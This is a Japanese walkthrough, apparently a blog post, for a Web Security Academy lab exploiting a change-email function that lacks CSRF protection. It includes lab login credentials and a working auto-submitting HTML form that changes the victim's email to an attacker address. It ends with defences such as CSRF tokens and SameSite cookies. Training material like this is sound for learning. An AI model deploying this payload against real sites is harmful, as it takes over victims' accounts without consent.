Hello there, ('ω')ノ
🎯 ラボの目的
このラボでは、CSRF防御が一切実装されていないメールアドレス変更機能を攻撃します。
目標は:
- 攻撃用HTML(CSRF)を作成し
- それをExploit Serverにアップロードし
- 「Deliver to victim」機能で被害者に攻撃を仕掛ける
✅ 攻略手順(Burp不要:Community EditionでもOK)
① ブラウザでアカウントにログイン
- ユーザー名:
wiener
- パスワード:
peter
② メールアドレス変更フォームを実行し、変更リクエストのURLを確認
- アカウント設定画面でメールアドレスを更新してみる
- リクエスト例:
POST /my-account/change-email HTTP/1.1 Host: <LAB-ID>.web-security-academy.net ... email=your@email.com
Copy URL
などでPOST先のURLを確認
③ 攻撃用HTMLを作成
✅ サンプルテンプレート(※実験用アドレスは後で変更)
<form method="POST" action="https://<LAB-ID>.web-security-academy.net/my-account/change-email"> <input type="hidden" name="email" value="attacker%40evil-user.net"> </form> <script> document.forms[0].submit(); </script>
※ %40
は @
のURLエンコード
④ Exploit Serverにアクセス → HTMLを貼り付けて保存
- ラボ画面の「Go to exploit server」をクリック
- Body欄に上記HTMLを貼り付け
- 「Store」ボタンで保存
⑤ 攻撃動作を自分で確認(テスト)
- 「View exploit」をクリック
- 自分のメールが
attacker@evil-user.net
に変更されたか確認(ログイン中なら即実行される)
⑥ メールアドレスを自分のと重複しない別アドレスに修正
例:
<input type="hidden" name="email" value="victim%40evil-user.net">
⑦ 「Deliver to victim」ボタンをクリック
- 被害者がこのページを開き、メールアドレスが勝手に書き換わる
- ラボクリア!🎉
✅ このラボで学べること
ポイント | 説明 |
---|---|
CSRFはフォーム+JavaScriptだけで成立 | XSSや難しい技術は不要 |
防御が一切なければ簡単にアカウントが改ざんされる | メールアドレス変更は攻撃価値が高い |
Burp Proなしでも手動でPoC作成可能 | Community Editionでも練習可能 |
🛡️ 実務ではどう防ぐ?
対策 | 内容 |
---|---|
CSRFトークンの導入 | 攻撃者が知らない一意のトークンを検証 |
SameSite Cookie属性の設定 | 外部ページからのリクエストを拒否 |
重要操作に再認証を要求 | メール変更・送金などはパスワード入力を必須に |
Best regards, (^^ゞ